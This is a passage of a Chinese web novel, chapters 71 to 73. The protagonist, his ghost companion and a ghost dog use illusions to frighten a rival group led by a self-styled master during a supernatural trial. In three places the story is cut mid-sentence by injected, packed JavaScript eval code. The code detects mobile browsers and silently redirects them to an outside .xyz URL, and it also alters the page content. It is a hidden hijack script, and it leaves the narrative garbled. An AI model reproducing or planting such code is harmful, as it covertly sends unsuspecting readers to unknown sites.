只见姜寻打开院门,“黄毛”狼狈不堪地站在门外,满脸惊惧。 他的肉身没有缺胳膊少腿,却如何都进不来门,像是被一堵空气墙挡住了。“黄毛”徒劳地捶打空气,在空无一物的门前表演壁虎爬墙,汗水顺着面颊哗啦啦地流。 “快、快把我换回去。”他哑着嗓子恳求姜寻。 姜寻依旧一脸平静,他掀了掀眼皮:“现在还不行。要是立刻换回去,他就又能用鬼术了。” “黄毛”呆愣愣地看着姜寻:“那我怎么办?” “到时我自会救你。”姜寻缓声道,在门口处描描画画,沿着门槛贴了一排黄符。“黄毛”又试图往院子里冲,可惜还是被看不见的空气墙挡住。 “……嗯,果然是禁忌,你做得很好。” 卢苇顶着黄毛的壳子干笑两声,如芒在背。 现在已经是下午了,鬼知道天黑后院子外头会是什么样。之前的人光是晚上出屋都死得那么惨,晚上出院子呢? 姜寻真的会救他吗,来得及救他吗? 其实“换魂捉人”这一手,姜寻与卢苇商量过。当时他想着在大佬面前刷一波功劳,答应得很爽快。 事到如今,卢苇才感受到了这种微妙的恐怖感——明明安全区域就在一步之外,他却怎么都进不去。现在他一条命完全捏在姜寻手里,能不能回身体全看姜寻的心情。 “您还有什么要我做的么?”他硬着头皮说道,“我这边……小心!!!” 黄毛趁姜寻背对自己,直接几步冲刺,借着体重撞姜寻。姜寻面前是砖砌的院门边缘,脑袋撞上去不堪设想。 姜寻没有躲。 他像是放松了警惕,听到卢苇大喊,姜寻也只是稍稍歪过身体,没落到脑袋和砖墙 硬碰硬。 黄毛一个使力,直接把姜寻撞到了地上。他跪压在姜寻背后,艰难地调整姿势,想用体重把姜寻压窒息。 卢苇急了,但他用着黄毛的声音,又不敢放声呼救,只能眼巴巴地看着。 然而没过两秒,伴随着一阵微风,黄毛被勒住的嘴里传出一声惨叫。他的大腿、手臂上出现片片血痕,鲜血顺着布料流淌,滴滴答答砸在地上。 卢苇目眦欲裂:“那是我的身体——!” 黄毛没轻易放弃进攻,他顶着淋漓鲜血,挪过去压姜寻的后颈。他压得越久,身上的血迹越来越多。 十几秒后,他上身猛烈摇晃,如同洪水中的水草。黄毛口水混着鲜血乱飞,终于支撑不住,倒在了一边。 姜寻按着喘息的黄毛站起身,没事人一样掸掸衣服:“谢谢你的配合,又试出了不少东西。” 说罢,他扫了眼快晕过去的卢苇,“不用担心。只要禁忌结束的时候你还有气,伤口都会恢复。” 他仍是一副“一切尽在掌握”的模样。 “不要破坏院子,否则驱逐;不要走入风中,否则会死。两条禁忌三缺一。” 方休顺嘴总结,“掉肉和摔倒不是即刻显现的效果,应该是邪祟所为……不错,姜寻很利索嘛。” 这家伙真把姜寻当道具用了,用得还挺顺手。白双影突然觉得,自己告诫这里的主人毫无意义,方休总是能从各种奇奇怪怪的地方掏出线索。 不过就目前的线索,方休应该确定不了“主人”的情况,白双影严肃地想。 然后他就听见方休开口:“能不能稍微解一下隐藏?解开到邪祟能听见的程度就行。” “?” “你总说我不会法术,我表演个法术给你看。”方休神秘道,“是我压箱底的鉴定法术,百试百灵。” 这还了得。 白双影在“坚持不听方休忽悠”的比赛中取得了0.0001秒的好成绩。他果断转换隐藏,眼睛一眨不眨地盯着方休。 方休半蹲在地,朝门口的方向伸出手—— “嘬嘬嘬。”他说。 院内的微风微微停滞,没什么特殊反应。 方休抿抿嘴唇,嘴角微微翘起:“嘬嘬嘬。” 微风旋转,夹杂着“哈嗤哈嗤”的细小杂音,它拂过方休的脚脖子,又带来一阵凉凉的触感。空气里仿佛藏了个冰凉的鼻头,顺着他的脚腕嗅来嗅去。 白双影:“……” 看到方休绷不住的笑脸,他知道他失败了,他就不该指望此处“主人”的智商。 “好狗狗。”方休夸奖虚空,“坏鬼是不是都被你吃掉啦?” 微风轻快地旋了一圈,像是在回应。它似乎记得 白双影“不要打扰方休”的要求没有彻底贴过来然而事实已然暴露无遗。 方休煞有介事地清清嗓子:“下面公布鉴定结果这里最强的邪祟是条狗。” 白双影缓缓别过头方休伸出两只手把自家鬼的脸正过来:“放心我不是急着离开只是到了公开的时间。我不是说了吗?这次我会保护厄。” 哦有这回事方休上午这么说过……看来这个人类上午就猜了个七七八八只是在配合姜寻的调查步调公开。 自己率先下手隐瞒怎么方休猜得更快了?白双影完全无法理解。 方休没松开白双影的脸还是用掌心夹着自家鬼的两颊。 他像是看透了白双影的想法:“其实要不是你我不会猜得这么快。” 白双影悄无声息地丧了会儿:“我?” “昨天祭祀一开始你就短暂地离开了我。要不是对这里的安全情况非常放心你绝对不会这么做。”方休笑眯眯地表示。 白双影:“……” “然后我发现大部分邪祟都聚在院子外并且总是消失不见。我猜有什么镇守在院子里并且在积极地消灭邪祟。” 白双影:“…………” “综上看守院子的‘东西’对人类没有天然恶意还在持之以恒地守卫院子。加上墙角的狗玩具和屋里的狗食盆它的本体不难猜。” 这只小狗的心眼着实不多方休在心里叹气。 它看到有人在自己家做出威胁行为就要扑上前教训“坏人” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705301|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点儿都不带藏私。少块肉是被咬倒在地上是被扑。以姜寻的反应速度肯定也能猜出个所以然。 那么这里的厄现在都没有被解开可能性只有一个—— “它能变得这么强大概和黎烁的情况差不多与‘厄’自带因果纠葛。要我说它的实力比黎烁还要接近‘鬼仙’。想要破坏这里的厄 白双影:“………………” 全中。 他给方休的窝才准备好第二天他的人类就熟练掌握了拆家技巧。 白双影垂下眉眼他有种在湿泥地里逮泥鳅的无力感方休实力演示了一把什么叫做“入手即化”。 “什么叫‘到了公开的时间’?” 末了白双影谨慎地问试图再扒拉几个延时可能性。 “因为我需要跟这只小家伙联手相信我绝对很有意思。”方休温声解释“今晚大家一起出去散步吧白双影。” ……至于黄毛他会成为这场闹剧的完美一环。 方休抱住那阵风试图摸索狗头的位置。 轻风没有反抗它试探着舔了舔他的手凉凉的 。 “要一起做坏事吗?”方休摸了摸藏在风里的小狗。 有什么一下下扫过他的小腿,像是摇晃的尾巴尖。 …… 夕阳西下,夜幕即将降临。 成松云和关鹤回归院子,报告了黄毛擅自行动的事情。发现黄毛不在据点里,成松云轻轻叹了口气。 “我们回来的时候留心看过,还喊了好久,没有发现他。”成松云说道。 院子附近的树林说大也不大。黄毛迟迟不回应,要么是因为昏迷或死亡听不到,要么就是故意不回答,没有第三种可能。 关鹤还蒙着他的黑眼纱:“我去对面窗户偷看了一圈,他们屋子里也没有。” “他今天下午没有回来过,我确定。”梅岚低声补充道。 方休感受着裤脚边旋转的风:“知道了,大家照常休息。要是他入夜还不回,我出去找找他。” 十分常规的处理,没人有异议。 想到黄毛可能没吃饭,成松云甚至默默多做了两个烤红薯,让方休带在身上,以备不时之需。 “小方,今天有没有什么新发现?”她边包裹红薯边说。 “去正房那边看了一圈,没什么特别的。” 方休剥着栗子,语气带着恰到好处的惆怅,“那几个新人对姜寻死心塌地,脑袋也不怎么灵光,那个长头发还想用炉钩打我呢。” 说到这里,他停了一停,目光扫向梅岚:“姜寻回来的时候好像闹了点动静。我那个时候在正房调查,没看到,你知道怎么回事吗?” 梅岚定定地看了会儿方休。 “不知道。”她缓缓说道,“明天我一定多注意。” 方休无比放松地点点头,拿起两个烤红薯,离开了据点厢房。门一开一关,青白的月光下,方休的身影走向院门。 离开院门前,他还特地转过身,朝据点的方向挥了挥手。 隐藏之中。 方休持续发动“幻象创造”的异象技能,让自己的幻象停在院门口,摆出一副等待的架势。 同一时间,他带着白双影和一缕狗里狗气的清风,蹑手蹑脚走向正房。 邪祟们又开始往正房窗口处**,这回方休看着它们,一股子亲切感油然而生—— 观众朋友们晚上好,我来加入你们了,这一定会是快乐的一晚! 第 71 章 内有恶犬 第71章内有恶犬 【兵分两路。】 这是吕扬在祭祀里度过的第二夜。 太阳落山后,黑暗污水般灌入,涨满整个房间。 姜大师干脆搬到了客厅,黄符贴满了所有门窗。烛光摇曳,上面的朱砂笔画泛着血一般的黑红。看着非但没有正气,反而散发出不祥的气息。 吕扬靠墙坐着,身边站着死去的同伴,尸体腐烂的气体冲击声带,它不时发出古怪的呃呃声。卢苇被五花大绑扔在角落,他唔唔乱叫,两只眼睛长满血丝。 姜大师说里面是对面黄毛的魂魄,真正的卢苇控制了黄毛的身体,被挡在了小院外面。 “他一旦受到重伤,这张符会有反应。” 姜大师双指夹着一张血字红符,朝他们晃了晃,“到时撕掉这张符,卢苇就能回来。” 阿桥满眼崇拜,语气欣快:“懂了懂了,就算那个黄头发换回去,也没法顶着重伤行动!这样就干掉对面一个人了!” 吕扬想不通。 眼下卢苇一个人在外面游荡,等着即将到来的重伤折磨,这是可以轻描淡写带过去的事情吗? 而且他们的目的应该是消灾解厄,不是小组对抗,**干嘛那样开心? 究竟是祭祀弱肉强食,自己太过天真愚蠢;还是说这一切根本不合理,他们不该堕落至此? 方休他们控制唇钉男是姜寻的一家之言;方休下午被阿桥攻击,最终也一笑而过。如果只看事实,对面不仅没有害他们,反而第一时间帮了他们…… 可是姜寻也帮了他们,他还快速找到了两条禁忌…… 吕扬抱紧脑袋,只觉得大脑要彻底裂成两半。 相比之下,阿桥的情绪异常稳定。 两天下来,阿桥只是受到些许烧伤,胆子跟着大了那么点儿。房内种种异象仍在,但守在姜寻身边,他明显要放松不少。 “大师,门窗那边的黄符是?”阿桥甚至有心情主动提问。 窗外仍然挤满了鬼脸,惨白变形的五官在玻璃上吱吱摩擦,连带着窗台上的黄符震颤不止。 “家宅门窗,自可挡煞。再加上镇宅符咒,可保一夜平安。”姜寻姿态放松地坐在沙发上,准备小憩。 阿桥似懂非懂:“房子里不会再出怪事了?” “是,顶多残存些怪象,伤不到人。” 姜寻淡然道,“今夜不比昨晚,我不会再被绊住手脚。” 不得不说,这样自信的语气真的很安抚人。 说到自信…… 吕扬不由地想到另一位自信的领袖。 他看向桌子上的饮料,它们和方休的衣服一样赤红。它们 包装完好,没有动手脚的余地。然而谁也没碰,就连吕扬自己都没勇气去喝。 此时此刻,方休在想什么? ……嘭嘭嘭! 贴满黄符的门突然晃动起来,响亮的敲门声在屋内回荡。姜寻一下子坐直,眯起眼。 贴在门口的邪祟突然散了,窗户边的邪祟则艰难转头,看向门扉的方向。它们脸上怪笑消失了,变得面无表情。 然而朦胧的月光中,门口什么都没有。 阿桥全身一哆嗦,立刻站到姜寻身边。吕扬发现,室内的鬼眼也纷纷转动,看向同一个方向—— 嘭嘭嘭! 门口的敲击声还在继续,薄薄的黄纸上扯出了裂纹,渐渐有青白火星燃起。室内的火焰陡然变长,如同僵尸的指甲,跟着闪烁青黑暗光。 套着卢苇壳子的黄毛停止扭动,尽量缩小身体,减少存在感。 嘭嘭嘭! 霎时间火焰四起。门缝,窗台,窗户边缘,所有黄符同时燃起火光。 镇宅符咒化作飞灰,挤满窗户的邪祟再次齐刷刷扭头。它们再次看向室内,嘴巴张了半个脸大小,露出比先前更加扭曲的微笑。 各种缝隙间鬼眼暴突,疯狂旋转,室内响起耳鸣般的嘈杂低语,听得吕扬牙缝发酸。 说好的一夜平安呢?怎么比昨晚还要离谱??? 姜寻皱起眉,唰地排出满手黄符,活像抖开一把黄色折扇。 “黄符尽毁,大煞临门。他说,“都过来,快——! 下一秒,敲门声突兀地停止了,房内陷入死寂。 门外。 方休停住了敲门的手,惊叹:“敲门还能敲着火? 白双影无奈:“那是镇宅的符咒。 “可我不是邪祟。方休眼巴巴地瞧着白双影,语气相当冤枉。 白双影沉默片刻,决定用行动解释——他伸出右手,轻轻盖住方休的眼睛。方休眼前一片湿润,如同被柔软的舌头舔过。 再睁开眼时,方休嘶地抽了口气。 他仿佛被开了二重天眼,院子里的一切无比清晰。从满地乱爬的各种邪祟,到绕着自己脚腕跑圈的小狗。 它看起来是典型的农村土狗,通体漆黑,脖子上挂着个破旧的红项圈。小狗的身体还没长开,身高只到方休膝盖,体型胖墩墩的,看着威慑不足、可爱有余。 很难想象,这只小东西是院子里最强的邪祟。无论怎么看,方休都没能在它身上找到戾气。 发现方休低头瞧它,小狗使劲甩动尾巴,黑眼睛翻出两弯白色的月牙。 “好狗狗。方休忍不住弯下腰,精准地搓起狗来。 小狗除了没有体温,行为和真狗几乎没有区别。它似乎不知道自己 **,还在熟练地喘气,粉红的舌头猛舔鼻头。 阳间的小动物总是排斥方休,方休好不容易逮住一只可以盘的小狗,两边都摸得心花怒放。 小狗被摸得原地蹦来蹦去,前脚直往方休身上扑。 随后它又一个转圈,兴奋地冲向不远处的几只邪祟,咧开嘴,再咧开嘴,继续咧开嘴…… 从口部开始,它的“嘴角咧到了身体中央,身体上半截高高掀开,造型好似狗形订书机。 巨口两边生着密密麻麻的獠牙,它们造型细长,参差不齐地挤在一起。“小狗简简单单一口下去,便拦腰咬断了一只人形邪祟。 紧接着几根花蕊似的舌头弹出巨口,用力一卷,偌大的邪祟便被它吞下肚子。 整个过程轻松写意,时长不超过五秒。 随口吃完几只邪祟,小狗又跑回来,继续在方休面前站着蹦跶。它乖巧地蹭着方休,尾巴甩成了螺旋桨,脖子上的项圈安然无恙。 方休:“……等一下。 这和说好的小狗不太一样,现在他知道为什么附近的邪祟消失得那么快了。 相比之下,它咬人警告还怪客气的。 白双影瞧了会儿呆愣的方休,满意道:“它始终跟着你,被那些符咒探测到了。 发现方休想进门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705302|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,它也憨乎乎地跟着想进门。只是白双影知道控制自己的气息,这只小傻狗不会,满屋子镇宅符咒一秒应激。 话说回来,白双影没想到它会这么亲近方休。 小狗再单纯,到底也是邪祟。就算它不会主动恶意攻击,也不会亲密待人。 方休身上有什么特别的地方吗?……难道这只小东西嗅出了方休生魂好吃? 白双影俯视小狗,用脚尖拨了拨它的脑袋,无声道:“那是我的。 小狗朝白双影歪了几秒的头,继而热情地扑到他的脚边,呱唧呱唧舔他的袍子。 白双影:“…… 好吧,也许这只邪祟只是特别傻。 他的身边,方休活动手腕:“烧都烧了,气氛到啦。来,咱们上! “嗯。 “汪! 房内。 敲门声停息后,一切重归静寂。等了几分钟,严阵以待的姜寻有些手酸。 ……门外的大煞突然停下,难不成和此地主人起了冲突? 这里的“主人,极有可能是只看门恶犬。考虑到恶犬不会敲门,刚才大约是大煞被“厄吸引而来。 要是恶犬能克制住那只大煞,那是最好的。如若不然…… 咣! 姜寻的思绪还没转完,大门毫无征兆地敞开,露出院落中浓稠的黑暗。 他手中的符咒还没来得及用出去,就被冲天的阴气原 地点燃,当场报废。 下一秒,大门又无风自动,吱呀呀关闭。 众目睽睽之下,门拴凭空移动,将大门紧紧卡死。生锈的金属滑过门槽,声音犹如老人磨牙。 吕扬背后一片冷汗,脑袋里飘过“关门打狗”四个大字。 他下意识看向贴满鬼脸的门窗,这回,他全身的毛孔都挤出汗水——一直贴在窗户上的鬼脸,不知何时无影无踪。 烛火恢复原状,静静燃烧。室内没有一丝风,温暖的火焰纹丝不动。 沙发缝隙、茶几脚下、凌乱的杂物深处。没有鬼脸或人眼,没有变幻的年画……什么都没有了。 门自行反锁后,所有邪祟恍如原地消失,屋子里“干净”得没天理。 可他们知道,有什么进了房间。 它在阴影中注视着他们,明显不打算离开。 ……这注定是一个无眠夜,吕扬冷汗涔涔地想道。 就像回应他的思绪,院外树林中响起一声惨叫。 听到那声惨叫,方休看向窗户,悄悄勾起了嘴角。 …… 厢房之中。 成松云第一时间听见那声惨叫,她的身体绷了绷:“声音像小杜!” 梅岚小声:“有方休在,没问题的。” 众人沉默几秒。 “我觉得得去看看。”关鹤忍不住开口,“万一方哥出事了怎么办?总不能什么事都等着他指示吧。” 梅岚迟疑:“夜晚外出太冒险了……” “那也该去,起码大家都有保命能力。” 成松云沉思道,“小关说得对,不能啥事都推给小方。难道他不在,咱们就不动脑子?” 关鹤蒙上黑眼纱:“晚上分开太危险,咱们三个一起去。” 梅岚沉默了很久,指尖有意无意蹭过胸口的位置。 “我知道了。”她温温柔柔地说,“那我们一起去。” 第 72 章 幻象交响 第72章幻象交响 【惊魂一夜。】 在和平的客房中待了几分钟,吕扬如坐针毡。他宁愿面对那些模糊的低语与异象——它们能看见他,他也能看见它们,他知道自己在面对什么。 不像现在,他完全不知道下一秒会出什么事,一次呼吸都要憋三回。 另一边,猛地吃了一波大亏,姜大师却没有失去体面。他就地取了符灰,往自己眉心点了四下,又往阿桥眉心点了四下。 是护身手段!吕扬做了个深呼吸,准备上前讨要。 然而他刚抬起脚,面前陡然出现一片黑暗——一个偌大的后脑勺怼在他的眼前,短短的黑发戳痒了他的鼻子。 吕扬一个激灵,吓得连连后退几步。看清那东西全貌的瞬间,他的思绪有一瞬的停滞。 那是“他自己”。 一样的身高,一样的衣着打扮,那是他的身体。那具熟悉又陌生的身体背对着他,皮肤上的冷汗泛着湿淋淋的光。 魂魄出窍? 吕扬往自己胳膊狠狠掐了把,皮肤是热的,触觉也正常。他舌根一阵阵发干发苦,心脏狂跳到不用去确认。 ……不对,根本不是灵魂出窍。他的身体还在,那自己面前的是什么东西? “大师——”慌乱之中,吕扬嘶哑地呼喊。 他的声音在不大的客厅中回荡,姜寻却全无反应。阿桥也像没听见一样,目光动都没动一下。 吕扬如同被兜头浇了盆冰水,他径直扑向自己的同伴。可是无论他如何摇晃和叫喊,都得不到半点回应。 他的存在就像从这世上抹除了,抑或是化成了幽灵。 就在他惶恐挣扎时,另一个“吕扬”起步上前,怯生生开口:“大师,那个灰……” 这回姜寻听见了,他蘸着符灰,照着“吕扬”的眉心点了四下,口中念念有词。 “务必跟紧我。无论看见了什么、听见了什么,切勿轻信。”施完法术,姜寻对那东西嘱咐道。 “我、我知道了,谢谢大师!” “吕扬”紧张地点头,语气和声音毫无破绽,情态与本人别无二致。 无论看见了什么、听见了什么,切勿轻信。 ……可是你们已经轻信了! 吕扬拽着头发,崩溃地低吼。 这一回,他终于得到了一点点回应——那只怪物背对着他,后脑快速融化出一片无毛皮肤。 五官依次从皮肤上冒出,歪得像小孩玩的人脸拼贴。那双上下不平的眼睛盯着吕扬,慢慢扯出一个微笑。 下个瞬间,犹如画面错误,那张脸唰地消失无踪。 这回吕扬叫都叫不出 来他再次后退两步咣啷撞上地上的小凳。凳子磨过地面发出刺耳的噪音。 不行不管那到底是什么东西他必须提醒他们…… 吕扬全身一震突然有了主意。 他抄起桌子上那两罐饮料叮叮咣咣地砸。见其他人还是全无反应吕扬干脆打开一罐饮料顺着阿桥的脸就泼。 淡淡的甜香气瞬间泛滥开来乳白的液体盖住了阿桥的眼球。它们顺着湿润的眼球流下顺着皮肤下淌像眼泪。 阿桥仍然紧张兮兮地看着姜寻任由饮料顺着眼眶流淌就像它从未存在。 声音不行直接接触不行间接接触还是不行。 吕扬手一颤红罐子应声落地。它缓缓滚过阿桥脚下滚到墙根处。 被墙壁拦截后它忽地自己竖起来又当着吕扬的面缓缓歪倒原路滚了回来。 骨碌碌骨碌碌。 它停在吕扬的脚边罐子原封不动盛得满满的像是从未打开过。 吕扬手脚冰凉脑袋发木。 刚才他真的用饮料泼阿桥了吗?这一切会不会都是幻觉?……还是说他被魇住了 易拉罐轻轻撞击着吕扬的鞋底吕扬本能地蹬出一脚把那瘆人的罐子踢飞。几秒后那该死的罐子一跳一跳地滚回来紧紧跟着吕扬。 脚踝处莫名其妙腾起微风触感分外真实。 直到此刻吕扬终于感受到了祭祀真正的可怕之处。 什么技能什么规则什么高人……这鬼地方根本什么都可能发生谁都靠不住! 必须求救必须弄出更大的动静才行。但破坏院子会犯忌……吕扬绝望地扫视四周目光最终锁定了客厅里的蜡烛。 吕扬跨过那个跟踪他的饮料罐。他三步并作两步上前一口气吹熄了蜡烛。 刹那间房内陷入黑暗。 随着火光熄灭墙角处多了一团团模糊影子它们整齐地排在墙角若有若无的视线锁在吕扬身上。 然而黑暗之中姜寻和阿桥的剪影依旧一动不动。他们并未察觉蜡烛的熄灭仿佛身处完全不同的世界。 黑漆漆的房间里阿桥抹了把汗:“大、大师怎么一点动静都没有?蜡烛比昨天还亮堂。” “大煞**小邪祟自然安静。” 姜寻不动声色“进来的东西比那些小邪祟聪明。它不想得罪这里的主人不会直接插手只会引诱你我出门。” “吕扬”打了个哆嗦:“可它刚才明明锁了门……” “锁门正是逼我们往外跑不要被蒙骗。”姜寻轻声道“我的符咒封不住它但足以隐藏我们的气息只要我们稳住……” “可它锁了门。” “吕扬”打断了他,“锁了门就出不去,我不喜欢被锁起来,一动不动很难受,像被关在棺材里一样。我不想待在这里,我不想给人添麻烦,我想离开这个房间。可是打开门会死,打开门会死,打开门会死……” “你在说什么屁话?!”阿桥扯高嗓门。 “阿桥,我在说你帮我开门。” “吕扬”呆愣地说道,语气带着令人惊惧的平板,“我不会开门。” “你不是说能封住气息吗?他怎么回事?!” 阿桥几步退到姜寻身后,连“大师”都忘了叫。 姜寻没有回答,他沉下脸,死盯着面无表情的吕扬。 不间断的呓语之中,“吕扬”原地塌下身体,四肢着地。 令人牙酸的扭动声响起,他的四肢通通扭转一百八十度,肘关节和膝关节朝后弯曲。他腰部微弓,头颅高高抬起,脖颈根部折了个直角,颈椎如同断裂。 就像一条狗。 “开门。开门。开门。”他大声重复道,“帮我开门,我想出去玩。” 看着变成这样的“自己”,吕扬双手捂住嘴巴,还是呕吐了出来。珍贵的食物被他吐了个空,口中的酸味又带起一阵恶心。 他很想和昨晚一样晕倒,却如何都做不到。 姜寻当即掷出一张符咒,贴上那只“狗人”的脑门。 那东西全无反应,他——它嗒嗒后退几米,用一个很不像人的姿势摇晃身体,轻轻松松晃下了符咒。 姜寻皱起眉,似有觉察:“这东西……” “开门。开门。开门。”狗人停在吓傻的黄毛牌卢苇附近,机械般叫道。它的声音极大,彻底淹没了姜寻的低语。 “**.你妈——” 阿桥受不了了,他从碗橱抓出碗盘,意图砸向那个古怪的“狗人”。可是在吕扬看来,他瞄准的分明是卢苇肉身的方向。 碗盘哗啦啦碎在卢苇的肉身之上,鲜血一下子涌出来。诡异的是,那狗人身上同样出现了伤口,如同真的被盘子砸过。 数秒后,阿桥身上出现几处渗血的伤口,他那宽松风格的裤子瞬间染湿大片。 ……院内不能随便施加暴力,主人的“作祟惩罚”如期出现。 “骗子!”阿桥眼睛充血,嗓子破了音,“你说你能镇宅,你能隐藏我们,你说我们不会有事!” 姜寻:“那是非常强大的幻象——” “你祖宗的幻象,那就是吕扬,我砸他我他妈都有伤了!” 一个同伴在眼皮底下异变,一个被人换了魂。到自己可能变成孤家寡人,阿桥脸部肌肉抽搐不止,什么都听不进去。 “**说法全是漏,说卢苇随时能 换回来也是假的吧?把卢苇换回来!现在马上! “吕扬脸上露出一个热情洋溢的笑,见缝插针地吠叫:“开门! “那不是我! 一片混乱中,姜寻轻声“啧了声。 他的目光在狗人和阿桥之间走了圈,最后定在原地装死的黄毛牌卢苇身上。 接着,他从怀里拿出那张换魂红符,嗤啦一声撕毁。 隐藏之中。 “耶。方休满意道,引得无数邪祟侧目。 今晚的目标之一正式达成! 太好了,这种玩法比他想象的还要开心—— 不久之前,他刚带着白双影和小狗进门,满屋子邪祟立刻老实。它们连逃跑都不逃跑,当场整齐列队,排排坐蹲墙角,努力缩小自己的存在感。 就很像扫黄打非被抓个正着的犯罪分子。 邪祟们安分下来,屋内刹那间明亮安宁,温馨了不少。 小狗跑到客厅正中,愉快地对方休摇着尾巴。 “好狗狗。 方休缓缓反锁房门,揉揉它的脑袋,“放心放心,我不会胡乱伤人惹你讨厌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705303|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“汪汪!小狗哈哈吐着舌头。 “白双影,咱们好久没玩隐藏了。 方休顺势抱起小狗,使劲盘了会儿。“麻烦你隐藏吕扬,彻底一点。 白双影随手照做,然而他刚起手,方休往他旁边一站,同时发动了“幻象创造。 吕扬消失的同时,另一个“吕扬出现在房间正中。小狗使劲抽动鼻子嗅闻,黑豆般的眼睛盛满惊奇。 “很好,接下来咱俩来比赛作祟。 方休严肃地说道,“我控制吕扬幻象,你控制空间幻象,看看谁先把他们逼出院子……怎么样? 白双影顿时来了精神。 活了这么久,他就没见过哪个人类要和他比赛害人。听起来很有趣,比在中秋祭数**头还要有趣。 “先后输赢怎么算?他矜持地发问。 方休想了想:“姜寻应该不会被空间异变吓到。要是姜寻先跑,说明他被我创造的吕扬唬住,算我赢。 “要是其他人先跑,说明他们被环境吓到放弃姜寻,算你赢。 白双影欣然应允。 恐吓普通人,怎么想都比糊弄修行者轻松。 “方才我将我的视野借给了你,你且看。 桃骨煞一挥,幻象瞬间裹挟了吕扬以外的三人。方休眨眨眼,他发现眼前景象化作两个,表里世界一般重叠。 吕扬被白双影彻底隐藏,独自丢在真实环境。其余人沉浸在幻象构造的“里世界之中,身边的“吕扬也被方休用技能幻象替换——如此一来,明明大家共处一室 ,吕扬却像被流放到了异空间。别说折腾饮料罐,哪怕他点火烧了房屋,其余人也无法察觉。 白双影这一手相当诡异,但凡吕扬再冲动点,这会儿就要逃出房间了,方休看得啧啧称奇。吕扬踢走易拉罐后,他特地掏出个全新的,和小狗一起玩易拉罐抛接,玩得吕扬汗如雨下。 玩到兴起处,方休指挥“吕扬”变成狗人的模样。 小狗不懂人类变形的恐怖之处。它还以为来了只同类,热情地围着狗人幻象汪汪叫,尾巴唰唰摇晃。 白双影则愉快地挥动桃骨煞,让方休的幻象与自己的幻象完美融合。 他这边调整光影,方休那边配合动作。他这边歪曲阿桥的攻击方向,方休那边跟着伪造伤口。他们之间没有时间交流,配合却像乐器和鸣,顺畅得不可思议。 破旧的房间内,他们共同编织着扭曲而美妙的噩梦。 小狗似乎很久没和人类一起玩耍了。它在诸多幻象中扑腾,时不时翻起肚皮,四爪乱动,高兴得不知道怎么办才好。 看着撒欢的大邪祟,听着人类的悲鸣。方休嘴角挂着微笑,白双影跟着心情大好。 “好玩吧?”方休指挥狗人胡言乱语,抽空扭过头。 “嗯。” 不得不说,这种游戏很解气,白双影心想。他还以为自己获得自由后,才能如此肆意地折腾世人。 他的人类似乎有无穷无尽的坏点子,他简直要期待下一场祭祀……不,不对,自己应该诱导方休在这里久留! 不能再沉迷了,必须速战速决。 如今卢苇也被他们招回来,三个新手归位,搞定一个就算他赢。 ……赢了以后提点要求,方休总不会反对。 “姜寻察觉是幻象了,有些道行。” 白双影沉下心思,如实点评,“此人实力应该不止于方才那点伎俩,居然硬吃这个亏。” 方休顺手摸摸小狗:“其实这事吧,和他有没有实力没关系。” 问题在于阿桥——他之前能随随便便信任姜寻,不计后果攻击自己;如今就能因为“姜寻没满足想象”跳脚,不看场合地制造混乱。 事态紧急,这种人听不进去复杂的解释,姜寻有嘴也说不清。为了稳住局面,他只能解除换魂。 旁边的邪祟窃窃私语,还有那么一两只试图鼓掌,被其余邪祟当场按了下去。 其中动得最厉害的那只引起了小狗的注意。小狗跑过去咬了两口,那只邪祟当场下肚,只剩半截爪子。 小狗叼起那半截爪子,放在方休面前,嘴里呜呜叫着。 “乖,自己吃。”方休冲它微笑。 说着他手一扬,客厅里狗人瞬间消失。被关紧的东卧室传出一个声音——姜寻的声音。 “那个‘我’是假货,跑——!”幻象高喊,“他招回来的根本不是卢苇!” 姜寻刚打算解释,白双影不甘示弱地挥动桃骨煞,室内景象跟着变化。 他把众人眼中的“室内”幻化成了“院落”。 第 73 章 白色深渊 第73章白色深渊 【比赛继续。】 吕扬眼前一花,脚下的室内砖块变成了室外土地。 他迟钝地打量周遭,周围一切都带着莫名其妙的熟悉感。 话说回来,他为什么要觉得这地方陌生?吕扬费力地思考,没准像盯一个字太久,恍惚觉得不认识了。 ……这里明明是他的家。 如同醒了酒,那种古怪的隔膜感消失殆尽。头顶是明月繁星,晚风吹得人身心舒畅。 不对,他就是醒了酒……他们今晚喝得太多,这才出来吹风醒酒。 吕扬使劲甩甩脑袋,又清醒了几分。 院子内正房和两座厢房都亮着灯,存放尸体的厢房里人影晃来晃去。明亮火光下,能看到两个忙着干活的剪影。 看来院子还不够大,尸体得单独住在没床的厢房。最近入了秋,地上挺凉,明天天亮正好砍几棵树,搭两张床铺。 鸡笼也该修了。 